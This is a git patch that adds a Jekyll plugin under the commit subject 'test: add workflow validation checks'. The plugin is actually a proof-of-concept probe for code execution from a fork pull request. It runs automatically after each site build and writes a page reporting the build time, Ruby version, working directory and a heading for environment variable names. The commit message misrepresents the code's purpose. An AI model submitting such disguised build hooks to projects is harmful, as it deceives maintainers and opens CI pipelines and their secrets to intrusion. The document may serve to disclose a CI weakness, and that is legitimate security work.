From 43b2d0a8e16d445fc37e3a9cbc7a4cfdd388f20a Mon Sep 17 00:00:00 2001 From: yardencuriel Date: Fri, 13 Feb 2026 15:30:04 +0200 Subject: [PATCH] test: add workflow validation checks --- _plugins/marker.rb | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 _plugins/marker.rb diff --git a/_plugins/marker.rb b/_plugins/marker.rb new file mode 100644 index 00000000000..688e44f8d28 --- /dev/null +++ b/_plugins/marker.rb @@ -0,0 +1,19 @@ +Jekyll::Hooks.register :site, :post_write do |site| + marker_path = File.join(site.dest, "marker.html") + File.write(marker_path, <<~HTML) + + +

POC: Jekyll Plugin Code Execution

+

this file was generated by a custom Jekyll plugin from a fork PR.

+

build time: #{Time.now.utc}

+

Ruby version: #{RUBY_VERSION}

+

working directory: #{Dir.pwd}

+

environment variables available (names only, no values):

+ + + + HTML + Jekyll.logger.info "POC:", "marker file written to #{marker_path}" +end